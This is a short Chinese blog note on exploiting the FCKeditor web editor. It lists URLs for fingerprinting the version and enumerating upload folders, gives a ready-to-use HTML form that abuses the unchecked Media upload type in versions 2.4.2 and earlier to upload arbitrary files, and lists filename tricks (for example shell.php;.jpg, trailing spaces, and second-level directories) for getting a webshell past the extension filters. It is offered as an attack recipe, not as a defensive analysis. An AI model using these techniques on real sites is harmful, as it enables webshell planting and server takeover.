FCKeditor 的一点记录
- 发表于
- 周边
查看版本
/FCKeditor/_whatsnew.html
得到上传目录
/fckeditor/editor/filemanager/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/
上传文件地址
/fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=/fckeditor/editor/filemanager/connectors/php/connector.php
编辑器界面地址
/FCKeditor/editor/fckeditor.html
查看文件保存目录
/fckeditor/editor/filemanager/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/
Version < =2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
|
1 |
<form id="frmUpload" enctype="multipart/form-data"action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br><input type="file" name="NewFile" size="50"><br><input id="btnUpload" type="submit" value="Upload"></form> |
FCKeditor 文件上传“.”变“_”下划线的绕过方法 很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。试试上传1.asp;jpg 提交shell.php+空格绕过 不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。 继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
